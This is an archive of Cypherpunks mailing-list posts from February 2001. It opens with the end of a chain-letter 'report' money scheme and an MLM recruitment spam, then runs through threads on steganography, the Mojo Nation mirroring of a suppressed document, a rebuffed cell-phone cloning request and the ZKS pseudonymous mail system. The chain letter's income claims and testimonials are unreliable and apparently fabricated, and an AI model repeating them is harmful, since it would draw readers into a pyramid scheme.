Heidi Kjelsvik
Kringsj�veien 117g
5163 Laksev�g, Norway

REPORT #2 "How to become a Millionaire utilizing the Power of
Multilevel Marketing and the Internet"

Order REPORT #2 ($10.00) From:
Shawn Thomas
2016 Huntingdon Chase
Atlanta, GA 30350 U.S.A.

REPORT #3 "The Insider's Guide To Advertising for Free on the 
Internet"

ORDER REPORT #3  ($5.00) FROM:
Gary Goldman
6476 Bellevue Drive
Conyers, Georgia  USA

REPORT #4 ""The Guerilla Guide to Sending Bulk E-mail on the 
Internet" "

ORDER REPORT #4 ($5.00) FROM:
Helen Caldwell
744 Jackson Street
Gary, Indiana 46402  USA



There currently more than 250,000,000 people online worldwide!

******* TIPS FOR SUCCESS *******

* READ THE "SHORT CUTS 2 SUCCESS" AT LEAST THREE TIMES BEFORE 
STARTING THIS
PROGRAM!

* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and 
follow the
directions accurately.

* Send for the five reports IMMEDIATELY so you will have them 
when the
orders start coming in because:

When you receive an order, you MUST send out the requested 
product/report.

* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

* Be patient and persistent with this program. If you follow the
instructions exactly, your results WILL BE SUCCESSFUL!

* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

******* YOUR SUCCESS GUIDELINES *******

Follow the "SHORT CUT" guidelines to guarantee your success:

If you don't receive 20 orders for REPORT #1 within two weeks, 
continue
advertising or sending e-mails until you do. Then, a couple of 
weeks later
you should receive at least 100 orders for REPORT#2. If you 
don't,  continue
advertising or sending e-mails until you do.

Once you have received 100 or more orders for REPORT #2, YOU CAN 
RELAX,
because the system is already working for you, and the cash will 
Continue to
roll in!

THIS IS IMPORTANT TO REMEMBER:

Every time your name is moved down on the list, you are placed in 
front of a
DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching 
which
report people are ordering from you. If you want to generate more 
income,
send another batch of e-mails or continue placing ads and start 
the whole
process again! There is no limit to the income you will generate 
from this
business!

Before you make your decision as to whether or not you 
participate in this
program. Please answer one question. DO YOU WANT TO CHANGE YOUR 
LIFE?

If the answer is yes, please look at the following facts about 
this program:

1. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO 
PRODUCE!

2. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO 
SHIP!

3. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST YOU ANYTHING TO 
ADVERTISE!

4. YOU ARE UTILIZING THE POWER OF THE INTERNET AND THE POWER OF 
MULTI-LEVEL
MARKETING TO DISTRIBUTE YOUR PRODUCT ALL OVER THE WORLD!

5. YOUR ONLY EXPENSES OTHER THAN YOUR INITIAL $40 INVESTMENT IS 
YOUR TIME!

6. VIRTUALLY ALL OF THE INCOME YOU GENERATE FROM THIS PROGRAM IS 
PURE
PROFIT!

7. *IF THIS PROGRAM DOESN'T WORK, THEN HOW ARE YOU READING THIS 
EMAIL?

8. THIS PROGRAM WILL CHANGE YOUR LIFE FOREVER.

******* T E S T I M O N I A L S *******

This program does work, but you must follow it EXACTLY! 
Especially the rule
of not trying to place your name in a different position, it 
won't  work and
you'll lose a lot of potential income. I'm living proof that it 
works. It
really is a great opportunity to make relatively easy money, with 
little
cost to you. If you do choose to participate, follow the program 
exactly,
and you'll be on your way to financial security.

Fred Dellaca, Westport, New Zealand

My name is Mitchell. My wife, Jody, and I live in Chicago, IL. I 
am a  cost
accountant with a major U.S. Corporation and I make pretty good 
money. When
I received the program I grumbled to Jody about receiving "junk 
mail." I
made fun of the whole thing, spouting my knowledge of the 
population and
percentages involved. I "knew" it wouldn't work. Jody totally 
ignored my
supposed intelligence and jumped in with both feet. I made 
merciless fun of
her, and was ready to lay the old "I told you so" on her when the 
thing
didn't work... well, the laugh was on me! Within two weeks she 
had received
over 50 responses. Within 45 days she had received over $147,200 
in $5, $10
AND $20 bills! I was shocked! I was sure that I had it all 
figured and that
it wouldn't work. I AM a believer now. I have joined Jody in her 
"hobby." I
did have seven more years until retirement, but I think of the 
"rat race"
and it's not for me. We owe it all to MLM.

Mitchell Wolf MD., Chicago, IL

The main reason for this letter is to convince you that this 
system is
honest, lawful, extremely profitable, and is a way to get a large 
amount of
money in a short time. I was approached several times before I 
checked this
out. I joined just to see what one could expect in return for the 
minimal
effort and money required. To my astonishment, I received 
$36,470.00 in the
first 14 weeks, with money still coming in.

Sincerely yours,

Pam Hedland Halmstad, Sweden

Not being the gambling type, it took me several weeks to make up 
my mind to
participate in this plan. But conservative that I am, I decided 
that the
initial investment was so little that there was just no way that 
I wouldn't
get enough orders to at least get my money back. I surprised when 
I  found
my medium-size post office box crammed with orders! For awhile, 
it got so
overloaded that I had to start picking up my mail at the window. 
I'll make
more money this year than any 10 years of my life before. The 
nice thing
about this deal is that it doesn't matter where people live. 
There simply
isn't a better investment with a faster return.

Dan Sondstrom, Alberta, Canada

I had received this program before. I deleted it, but later I 
wondered if I
shouldn't have given it a try. Of course, I had no idea who to 
contact to
get another copy, so I had to wait until I was e-mailed another 
program,.11
months passed then it came...I didn't delete this one!...I made 
more than
$81,000 on the first try!!

Nasair Mohamed, Cairo, Egypt

ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO 
FINANCIAL  FREEDOM!

****THE FACT THAT YOU ARE READING THIS EMAIL, IS PROOF THAT THIS 
PROGRAM
WORKS!!!
_________________________________________________________________
___________
_________________________________________________________________
___________
__
If you have any questions of the legality of this program, 
contact the
Office of Associate Director for Marketing Practices, Federal 
Trade
Commission, Bureau of Consumer Protection, Washington, D.C.
=====================================================THE
END==============================================================
===========
==
This message is sent in compliance of the e-mail bill Section 
301.Per
Section 301, Paragraph (a)(2)(C) of S. 1618,

http://www.senate.gov/~murkowski/commercialemail/S771index.html  
Further
transmissions to you by the sender of email may be stopped at no 
cost to you
bt sending a reply to this email address with the words "remove" 
in the
subject line. 2chelise at home.com
 
 
 
 
 
 
 
 
 




From reeza at flex.com  Fri Feb  9 21:19:04 2001
From: reeza at flex.com (Reese)
Date: Fri, 09 Feb 2001 19:19:04 -1000
Subject: archive request
In-Reply-To: <4.3.2.7.2.20010209183028.039f8500@flex.com>
Message-ID: <4.3.2.7.2.20010209191834.039f5520@flex.com>


At 06:37 PM 2/9/01 -1000, Reese wrote:
 >A coupla' years ago, there was an ongoing thread regarding the "know your
 >neighbor" crap.

Nevermind, I found it (finally).
*grrrr*

Reese




From schear at lvcm.com  Fri Feb  9 20:00:06 2001
From: schear at lvcm.com (Steve Schear)
Date: Fri, 09 Feb 2001 20:00:06 -0800
Subject: stego for the censored II
In-Reply-To: <a05010400b6a72ec7d884@[207.111.241.188]>
References: <20010207102551.L30304@lemuria.org>
 <20010207102551.L30304@lemuria.org>
Message-ID: <5.0.0.25.0.20010209195320.040c2d20@pop3.lvcm.com>


At 09:05 AM 2/7/01 -0800, Tim May wrote:
>At 10:25 AM +0100 2/7/01, Tom wrote:
>>damn, it seems someone already did what I proposed a while ago under
>>the thread "stego for the censored".
>>if anyone in here has contacts to these terrorists, can you ask them for
>>the software, please? maybe they want to GPL it so we can use it for other
>>purposes as well? :)
>
>Not that I want to claim credit for this use by terrorists, but you will 
>find that I wrote about this precise use in the late 80s. The Kevin Kelly 
>book, "Out of Control," had a long description of this kind of use, based 
>on interviews he did with me in 1992.
>
>And, of course, in 1992 there were numerous posts on this in Cypherpunks, 
>by me and by others. The Apple consultant Romana Machado took these 
>discussions and generated a little program she called "Stego," which put 
>simple messages into GIF files. At least a couple of other stego programs 
>were in use around this time, too. (This was circa 1993.)

I know this has been mentioned before, but it seems to me that we should 
make use of all the great CRM watermarking technologies being 
developed.  One of the primary goals of such technology is to hide the 
watermark in such a way that it cannot be isolated from the source material 
or removed by copying or filtering without making reproduction of the 
source material unacceptably degraded.

At MacCrypto BlueSpike http://www.bluespike.com/ gave an good talk on this 
and my mind has been considering the stego uses of CRM ever since.  To the 
degree such technologies deliver on these aspects of their CRM mandate they 
may serve the needs of clandestine communications.

steve




From bill.stewart at pobox.com  Fri Feb  9 20:09:03 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Fri, 09 Feb 2001 20:09:03 -0800
Subject: published secret - similiar to AP prot
In-Reply-To: <3A8406AF.6D02195F@ricardo.de>
References: <3.0.5.32.20010207213202.00a41c00@idiom.com>
Message-ID: <3.0.5.32.20010209200903.00a1fa60@idiom.com>


At 04:03 PM 2/9/01 +0100, Tom wrote:
>> If Bob doesn't want legal problems because of Alice,
>> it's safer if he doesn't tell Alice, or at least doesn't
>> do anything different for Alice than he would for any other customer.
>
>that's the problem. so how does alice know if bob doesn't tell?

Some options:
- Bob is running the "We Mirror Everything" site
- "We Mirror Things for Politically Sympathetic People"
- "We Mirror Things Unless we sent you a rejection notice"
- (back when Cypherpunks believed there would be digicash Real Soon)
  Alice sent Bob some anonymous digicash to pay for storage
- Alice sent Bob some non-anonymous payment outside your threat model
- Bob is a random user running a Napster-like space-sharing protocol,
	and Alice sent mail to Bob1, Bob2, Bob3, etc. hoping one will work
- Bob used a non-direct response method, like posting a receipt
	to Bob's web site or some random free web site or Usenet
	acknowledging receipt of "Some-Package-ID" which isn't
	easily identifiable as being Alice's.  Maybe the Package-ID
	is a token sent along with the package, or a timestamp,
	or maybe your threat model doesn't mind the receipt being
	hash(hash(hash(hash(Package)))), which is some hash of the
	package-retrieval token.


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From keyser-soze at hushmail.com  Fri Feb  9 20:21:56 2001
From: keyser-soze at hushmail.com (keyser-soze at hushmail.com)
Date: Fri, 9 Feb 2001 20:21:56 -0800 (PST)
Subject: Brit Intel Telling Tales
Message-ID: <200102100441.UAA04311@user5.hushmail.com>

The document "Enquiry: The Killing Years in Ireland" has been published 
on Mojo Nation.  It can be accessed by searching for the title in the "Web 
Site" content type or by either of the following links:

http://localhost:4004/id/SAEMq4Al5Z-SO4wq51sshfEt4mg/  or 

http://mojonation.net/dinode/eNpl0ktvgkAABOC_QvaOAgqWBDE2aFsrWAq6yoUsy4IosJR3_fWNFdMHx5nkm9MoszaJmZrkRUTTKeAHHJipihal1Cc_NTeQAVMkKIv8KXD1zQpzDnYqiaM7LJYtOmL2NZhQHTAxScPyOAUjkQeqYh1RThgvpt4VVnoTPOByvZXl-
EnergQr4p-k5DQxFoBJq2QKJmD4H_lGtjez5YY96Zv1qKkDa4m5jFi7Z9whqY-qxvWkM9U-gnxnype5HBAh9E0LUrNDYh950LeDc76UvDc239eu58kCrFDMmUWHxn3kIM2tyvgztVqvRts83ZujkELh7N7RqI8WGbHjcYILZw3F99A5aNWLFjWGKbx0SOgjdIDRAouTnXHgl629ai6WpvkriMs74vsIt3t-
fpovCljUn29GgGz7ET5LZchyHeKuyKYlir9loT4ow9_xNlgYhPjEV8fK8E9WhrerqF8ph74Y/

ks

From gbroiles at netbox.com  Fri Feb  9 20:25:07 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 9 Feb 2001 20:25:07 -0800
Subject: Brit Intel Telling Tales
In-Reply-To: <200102091951.OAA03764@maynard.mail.mindspring.net>; from jya@pipeline.com on Fri, Feb 09, 2001 at 02:41:14PM -0500
References: <200102091951.OAA03764@maynard.mail.mindspring.net>
Message-ID: <20010209202507.A5223@ideath.parrhesia.com>


On Fri, Feb 09, 2001 at 02:41:14PM -0500, John Young wrote:
> Real-To:  John Young <jya at pipeline.com>
> 
> 9 February 2001, 2:35 PM EST. Cryptome has just received 
> word that the British government is telling UK newspapers that 
> an arrangement has been reached with Cryptome's ISP, 
> Verio, to yank "Enquiry: The Killing Years in Ireland": 
> 
>   http://cryptome.org/fru-walshaw.htm

That content is now available to MojoNation users at 
<http://localhost:4004/id/6qXdpawuD27YMjS3ZVNZG6WRbP8/>; it's indexed
using keywords which include "FRU" and "stakeknife" which should make
it easy to find within Mojo, no matter what happens to Cryptome's copy. 

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From ravage at EINSTEIN.ssz.com  Fri Feb  9 20:10:00 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 09 Feb 2001 22:10:00 -0600
Subject: FBI Goes After Bonsaikitten.com
Message-ID: <3A84BF18.A3C03BE7@ssz.com>

http://www.wired.com/news/politics/0,1283,41733,00.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------
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From ggosnell at jps.net  Fri Feb  9 22:35:58 2001
From: ggosnell at jps.net (GaryGosnell)
Date: Fri, 9 Feb 2001 22:35:58 -0800
Subject: No subject
Message-ID: <000801c0932b$bc4ccb00$212277d8@garygosn>

well wheres the manifesto on bomb making?

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From alan at clueserver.org  Fri Feb  9 23:13:50 2001
From: alan at clueserver.org (Alan Olsen)
Date: Fri, 9 Feb 2001 23:13:50 -0800 (PST)
Subject: your mail
In-Reply-To: <000801c0932b$bc4ccb00$212277d8@garygosn>
Message-ID: <Pine.LNX.4.10.10102092313190.16327-100000@clueserver.org>


On Fri, 9 Feb 2001, GaryGosnell wrote:

> well wheres the manifesto on bomb making?

It can be found at http://127.0.0.1/ along with all sorts of nasty stuff.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From reeza at flex.com  Sat Feb 10 01:19:00 2001
From: reeza at flex.com (Reese)
Date: Fri, 09 Feb 2001 23:19:00 -1000
Subject: 
In-Reply-To: <000801c0932b$bc4ccb00$212277d8@garygosn>
Message-ID: <4.3.2.7.2.20010209231724.00e0b6f0@flex.com>


At 10:35 PM 2/9/01 -0800, GaryGosnell wrote:
>well wheres the manifesto on bomb making?
>

Go to http://marthastewart.com and look for the chili recipes.
The holy grail you hope to achieve, the infamous (and dreaded)
SBD.

Reese





From hallam at ai.mit.edu  Fri Feb  9 21:12:13 2001
From: hallam at ai.mit.edu (Phillip Hallam-Baker)
Date: Sat, 10 Feb 2001 00:12:13 -0500
Subject: Pentagon warns Fidel Castro could launch cyberattack against U.S.
References: <20010209093820.B7548@cluebot.com>
Message-ID: <002b01c09320$081b0940$0500a8c0@ne.mediaone.net>


Congress is absolutely right to bring this to everyone's attention. Fidel 
Castro is a demon coder who can crank out code at an astonishing rate 
given a sufficient supply of brandy, nachos and cigars.

In the bleakest moments of the cold war when the russian army was poised to
roll into Western Europe we British would always think of the example set
by the plucky little USA facing a global superpower in the Caribean poised
to overwhelm it at any moment.


        Phill

----- Original Message ----- 
From: "Declan McCullagh" <declan at well.com>
To: <cypherpunks at cyberpass.net>; <fight-censorship at vorlon.mit.edu>
Sent: Friday, February 09, 2001 9:38 AM
Subject: Pentagon warns Fidel Castro could launch cyberattack against U.S.


> ----- Forwarded message from Declan McCullagh <declan at well.com> -----
> 
> *********
> Transcript of hearing:
> http://www.cluebot.com/article.pl?sid=01/02/08/1638232
> 1998 transcript:
> http://www.cluebot.com/article.pl?sid=01/02/08/0526201
> *********
> 
> http://www.wired.com/news/politics/0,1283,41700,00.html
>   
>    Feds Say Fidel Is Hacker Threat
>    by Declan McCullagh (declan at wired.com)
>    2:00 a.m. Feb. 9, 2001 PST
>    
>    WASHINGTON -- These must be jittery times for anyone in the military
>    who uses the Internet.
>    
>    Not only do they have to guard against Love Bug worms and security
>    holes in Microsoft Outlook -- now they've got to worry about Fidel
>    Castro hacking into their computers.
>    
>    Admiral Tom Wilson, head of the Defense Intelligence Agency, says the
>    74-year-old communist dictator may be preparing a cyberattack against
>    the United States.
>    
>    Wilson told the Senate Intelligence Committee during a public hearing
>    Wednesday that Castro's armed forces could initiate an "information
>    warfare or computer network attack" that could "disrupt our military."
>    
>    The panel later went into closed session to discuss classified
>    material.
>    
>    Sen. Ron Wyden (D-Ore.) asked in response: "And you would say that
>    there is a real threat that they might go that route?"
>    
>    Replied Wilson: "There's certainly the potential for them to employ
>    those kind of tactics against our modern and superior military."
>    
>    He said that Cuba's conventional military might was lacking, but its
>    intelligence operations were substantial.
>    
>    The partly classified hearing is an annual event -- and an important
>    one: It represents this year's World Threat Assessment discussion.
>    That's a chance for the intelligence committee to set its agenda for
>    this session of Congress and hear from senior intelligence officials
>    about the latest national security threats.
>    
>    In addition to the aging president of Cuba, witnesses and senators
>    both cited encryption as another technology-related threat during a
>    far-ranging discussion that also encompassed nuclear, biological and
>    chemical weapons.
>    
>    Sen. Richard Shelby (R-Ala.), the committee's hawkish chairman, said
>    that the classified hearing later in the day would "explore the
>    challenges posed by, among others, the proliferation of encryption
>    technology, the increasing sophistication of denial and deception
>    techniques, the need to modernize and to recapitalize the National
>    Security Agency, and other shortfalls in intelligence funding."
> 
>    [...]
> 
> 
> 
> -------------------------------------------------------------------------
> POLITECH -- Declan McCullagh's politics and technology mailing list
> You may redistribute this message freely if it remains intact.
> To subscribe, visit http://www.politechbot.com/info/subscribe.html
> This message is archived at http://www.politechbot.com/
> -------------------------------------------------------------------------
> 
> 
> ----- End forwarded message -----
> 




From bill.stewart at pobox.com  Sat Feb 10 01:52:22 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 10 Feb 2001 01:52:22 -0800
Subject: well wheres the manifesto on bomb making?
In-Reply-To: <4.3.2.7.2.20010209231724.00e0b6f0@flex.com>
References: <000801c0932b$bc4ccb00$212277d8@garygosn>
Message-ID: <3.0.5.32.20010210015222.01c6a470@idiom.com>


At 11:19 PM 2/9/01 -1000, Reese wrote:
>At 10:35 PM 2/9/01 -0800, GaryGosnell wrote:
>>well wheres the manifesto on bomb making?
>>
>
>Go to http://marthastewart.com and look for the chili recipes.

Hey, it's not my *fault*!




				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From reeza at flex.com  Sat Feb 10 03:54:41 2001
From: reeza at flex.com (Reese)
Date: Sat, 10 Feb 2001 01:54:41 -1000
Subject: well wheres the manifesto on bomb making?
In-Reply-To: <3.0.5.32.20010210015222.01c6a470@idiom.com>
References: <4.3.2.7.2.20010209231724.00e0b6f0@flex.com>
 <000801c0932b$bc4ccb00$212277d8@garygosn>
Message-ID: <4.3.2.7.2.20010210015358.00e30ea0@flex.com>


At 01:52 AM 2/10/01 -0800, Bill Stewart wrote:
 >At 11:19 PM 2/9/01 -1000, Reese wrote:
 >>At 10:35 PM 2/9/01 -0800, GaryGosnell wrote:
 >>>well wheres the manifesto on bomb making?
 >>>
 >>
 >>Go to http://marthastewart.com and look for the chili recipes.
 >
 >Hey, it's not my *fault*!

Well, durn it Bill, if only you'd told Martha about Beano,,,  ;)

Reese




From From192060 at yourdomain.com  Sat Feb 10 04:02:32 2001
From: From192060 at yourdomain.com (From192060 at yourdomain.com)
Date: Sat, 10 Feb 2001 04:02:32 -0800 (PST)
Subject: Do You Qualify?
Message-ID: <200102101202.EAA10083@toad.com>


Hi,

I am looking for 10 leaders to handle free leads 
for a 15 year old, solid network marketing company
with a tremendous compensation plan.

These leads are very hot, double qualified leads, 
most of which are ready to sign up, so there will
be very little selling of the opportunity involved.
Many of these leads you will simply be signing up 
underneath you.  We cannot handle all of the leads!

We are generating massive spillover so if you are
an experienced network marketing leader or are
motivated and not afraid to talk to people about
getting paid to save money and helping others save 
money, reply whith the word "ready" as the subject.

Do not reply unless you are seriously interested in 
making a change in your life and earning at least 
$5000 a month with the help of our professional 
marketing team.

If you are ready for change, reply with the word "ready"
as the subject.

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P.S. Only serious individuals please, as we are focusing
our efforts in signing up the leads we already have. If
you would prefer not to be contacted again about increasing
your wealth, reply with the word "remove" as the subject.






From zooko at mad-scientist.com  Sat Feb 10 06:31:05 2001
From: zooko at mad-scientist.com (zooko at mad-scientist.com)
Date: Sat, 10 Feb 2001 06:31:05 -0800
Subject: ports and networks blocked by national government firewalls in the Middle East
Message-ID: <E14Rb3J-0006Nk-00@imp>



At the Jan. BACPM I mentioned this data, and a couple of people in the audience
requested a copy.  (Sorry I don't remember who.)

http://www.angelfire.com/wy/5waynes/blockingByCountry.html


--Z

P.S.  Hey Bill, did you try running an MN server yet?




From larsg at trustix.com  Sat Feb 10 00:07:27 2001
From: larsg at trustix.com (Lars Gaarden)
Date: Sat, 10 Feb 2001 09:07:27 +0100
Subject: your mail
References: <Pine.LNX.4.10.10102092313190.16327-100000@clueserver.org>
Message-ID: <3A84F6BF.AF2478CF@trustix.com>


Alan Olsen wrote:
> 
> On Fri, 9 Feb 2001, GaryGosnell wrote:
> 
> > well wheres the manifesto on bomb making?
> 
> It can be found at http://127.0.0.1/ along with all sorts of nasty stuff.

Check out http://warez.dsnet.com, http://warez.Opus1.COM and
http://langnese.nvg.ntnu.no also.

-- 
LarsG




From reeza at flex.com  Sat Feb 10 12:04:52 2001
From: reeza at flex.com (Reese)
Date: Sat, 10 Feb 2001 10:04:52 -1000
Subject: cell phone hook-ups bootleg illegal --whatever--just free
In-Reply-To: <9c.b8f0ecc.27b6b90b@cs.com>
Message-ID: <4.3.2.7.2.20010210100429.00e1ac80@flex.com>


At 10:32 AM 2/10/01 -0500, Sbarnett884 at cs.com wrote:
 >yo,
 > can ya tell me how. tell how to program the Motorola T2900 back into 
service
 >if service has been cut ??  If I already have service on another phone (
 >Ericsson A1228 ) can I clone service to the Motorola or just go for free
 >somehow ?
 >
 >mucho gracias

Are you a law enforcement officer, or just stupid?




From schear at lvcm.com  Sat Feb 10 10:09:53 2001
From: schear at lvcm.com (Steve Schear)
Date: Sat, 10 Feb 2001 10:09:53 -0800
Subject: stego for the censored II
In-Reply-To: <Pine.SOL.4.30.0102101832320.17393-100000@kruuna.Helsinki.F
 I>
References: <5.0.0.25.0.20010209195320.040c2d20@pop3.lvcm.com>
Message-ID: <5.0.0.25.0.20010210100646.040a04c0@pop3.lvcm.com>


At 06:37 PM 2/10/01 +0200, Sampo Syreeni wrote:
>On Fri, 9 Feb 2001, Steve Schear wrote:
>
> >I know this has been mentioned before, but it seems to me that we should
> >make use of all the great CRM watermarking technologies being
> >developed.  One of the primary goals of such technology is to hide the
> >watermark in such a way that it cannot be isolated from the source material
> >or removed by copying or filtering without making reproduction of the
> >source material unacceptably degraded.
>
>However, methods used for watermarking et cetera are not optimized for
>strict non-detection. What I mean is, they are of course meant to be
>difficult to predict down to the sample level (since that would make them
>easy to remove), but the presence of this sort of stego is often quite
>easily verified. Especially if the algorithms are well known. This is
>unacceptable in a non-watermark stego apps.
>
>Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university

Not entirely true.  If watermarking become ubiquitous then their presence 
is no longer suspicious.  If the marks contain encrypted content then 
almost no one will know or care as they are passed and published and only 
the intended recipients will receive the messages.

steve




From mixmaster at helferlein.net  Sat Feb 10 01:27:27 2001
From: mixmaster at helferlein.net (No Name)
Date: Sat, 10 Feb 2001 10:27:27 +0100 (CET)
Subject: ha ha
Message-ID: <2054516408e59baafb1a3a23a6e8f3a0@helferlein.net>


> > How stupid is this ha ha sender really?
> > Does he not understand that everyone by now know he sends a virus file
> > out?
> 
> Probably alot less stupid than you.
> 
> Let me explain it to you again, using small words so you can understand.

< vbg >
that'll be the day huh..

> 
> It is from different people whos systems are infected by a virus.
> 
> The virus forges the From: e-mail address.
> 
> These people are using an e-mail client that is vulnerable executing
> attached executables (like Outlook 2000 with preview mode) or have
> clicked on the attachment and have infected themselves with the virus.
> 
> The infected people have a cypherpunks address(es) in their address
> book.
> 
> The virus sends to everyone on the address book.
> 
> Thetoad.com address is depreciated.
> 
> Understand now?
> 
> I didn't think so...

you made my day, that's for sure..
(if you ever knew..)
just because someone doesn't point out these (well known things) you did
doesn't mean they are not aware of them.

fuck'n elite alan.. :o
don't be so quick on judgements, that only makes you look like an idiot





From Sbarnett884 at cs.com  Sat Feb 10 07:32:27 2001
From: Sbarnett884 at cs.com (Sbarnett884 at cs.com)
Date: Sat, 10 Feb 2001 10:32:27 EST
Subject: cell phone hook-ups bootleg illegal --whatever--just free
Message-ID: <9c.b8f0ecc.27b6b90b@cs.com>


yo,
 can ya tell me how. tell how to program the Motorola T2900 back into service 
if service has been cut ??  If I already have service on another phone ( 
Ericsson A1228 ) can I clone service to the Motorola or just go for free 
somehow ?

mucho gracias




From bill.stewart at pobox.com  Sat Feb 10 10:44:59 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 10 Feb 2001 10:44:59 -0800
Subject: Brit Intel Telling Tales
In-Reply-To: <3A8465B8.4703EDFC@sunder.net>
References: <200102091951.OAA03764@maynard.mail.mindspring.net>
Message-ID: <3.0.5.32.20010210104459.01c8b6c0@idiom.com>


At 04:48 PM 2/9/01 -0500, Sunder wrote:
>John Young wrote:
> 
>> The British government is threatening to injunct any UK
>> publisher intending to reveal information in the file which
>> was received from an anonymous source and names a
>> controversial intelligence agent runner in Northern Ireland.
>> The named officer is the center of a major investigation
>> of orchestrated murders assisted by British intel.
>
>I suppose it would be too much to hope that some spammer scumbag would
>spam that one file to all .co.uk addresses in its db as a joke....

More to the point, are there any free web page sites in the UK?
Might as well give _them_ all copies....
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From ravage at ssz.com  Sat Feb 10 08:52:14 2001
From: ravage at ssz.com (Jim Choate)
Date: Sat, 10 Feb 2001 10:52:14 -0600
Subject: Scientific American: News In Brief: Nanomold for Metal Wires: February 9, 2001
Message-ID: <3A8571BE.29C0E4C5@ssz.com>


http://www.sciam.com/news/020901/2.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From adam at cypherspace.org  Sat Feb 10 08:24:17 2001
From: adam at cypherspace.org (Adam Back)
Date: Sat, 10 Feb 2001 11:24:17 -0500
Subject: ZKS mail system questions (RE: anonymity)
Message-ID: <200102101624.LAA02276@modemcable005.191-202-24.mtl.mc.videotron.ca>



I think the 2.0 mail system has a number of advantages over the
reply-blocks based 1.0 pseudonymous mail system, though a couple of
disadvantages.  These trade offs are documented in the mail system
white paper.

	http://www.freedom.net/info/whitepapers/

In summary for people who don't want to wade through a wide paper, ZKS
version 2 mail system is a POP and SMTP server you connect to
pseudonymously via the freedom network and therefore tunnel your SMTP
and POP sessions through the freedom cloud.

The system is put together with Dan Bernstein's popular qmail high
performance mail system to build ZKS' mail hub and pop account system.

The differences are that ZKS has a number of qmail modifications to
deal with pseudonym to internet and internet to pseudonym mail.  (To
encrypt incoming mail for the pseudonym and a few other things to do
with authentication).  The details are in the white paper.

> Does zk traffic traverse public networks (via VPN or otherwise)?

In the case of the connections between the user, the nodes in the
freedom network, and the ZKS mail system the traffic is all routed
over the internet.  The nodes in the freedom network are operated by a
mixture of owners.  Some ISPs, some individuals interested in privacy
and some ZKS operated.  The user can choose which nodes he trusts.

There is a diagram in the mail system white paper showing the internal
communications inside the mail system.  However these are just
messages passing information between the mail system cluster of
machines and are inside a firewall.  Conceptually you can consider
this cluster as a single machine owned by ZKS.  The point is if you
are connecting pseudonymously you have limited need to trust ZKS mail
system because it doesn't know who you are, and further, nym to nym
mail is end to end encrypted.  

The mail server sees nym to internet user and internet user to nym
mail bodies, but so does any passive eavesdropper sniffing packets
entering and leaving the mail system as the internet user has no
compatible client software, unless the nym and internet user use end
to end encryption software such as openPGP or S/MIME.  The mail system
does encrypt internet to nym mail for the nym's key so it doesn't have
data it can read after the fact, although clearly it could record it,
at least it protects against after the fact requests to decrypt mail
-- ZKS can't decrypt it because only the nym has the keys.

> Do these networks collect packet data (to, say, analyse attacks)?

The freedom network is operated by third parties.  ZKS to my knowledge
makes all attempts to not log things and to set up the software so
that it does not.  Third party operators may or may not record data.
Whether you trust third party operators or ZKS to not log is a matter
of personal taste, and why you want distributed trust -- so you can
choose who to trust based on your opinions of who is trustworthy (or
more correctly which set of nodes can be trusted not to collude -- a
mutually distrusting pair of nodes operated by NSA and KGB might
provide pretty good security even if you didn't trust either of them,
if you trust their paranoia prevents them from colluding or
collaborating).

The software is not setup or written to log anything which could lead
to privacy leaks we audit what it does log for error tracking for
privacy and correlation implications.  So no.  It would probably be
difficult to log enough to analyse attacks without logging enough to
erode privacy.  But then as the system attempts to offer distributed
trust, you should not have to trust that a given node does not log all
that it could log and this is the case with limitations as discussed
below.

> Do they stagger packet transmissions to confuse origin and
> destination?

The freedom network supports only interactive pseudonymous tunnels.

You might think that this would allow a timing correlation attack on
the mail system by getting ISP usage logs and comparing freedom users
online time with outgoing mails as there are no (significant) delays
in the freedom mail system.  However one of the advantages of the
freedom 2.0 mail system over the 1.0 reply block based one is that web
and mail traffic act as cover for each other.  An ISP log just shows
when you logged on, not when you uploaded mail.  The window of time in
which you send mail may allow some users to be excluded from being
potential originators of a message, and this effect can be
cummulative.  The same argument would apply to necessarily interactive
internet activity -- ISP logs together with logs of pseudonymous
behavior can lead to correlations.  This latter effect is a general
attack on any pseudonymity system even with a perfect idealised mix
net.  You can observe and correlate input and output activity based on
time if the inputs are not continously connected, continuously sending
traffic and 100% failure free.  (A tall order).  Mail traffic does not
need to be completely interactive.  15 mins or even an hours delay may
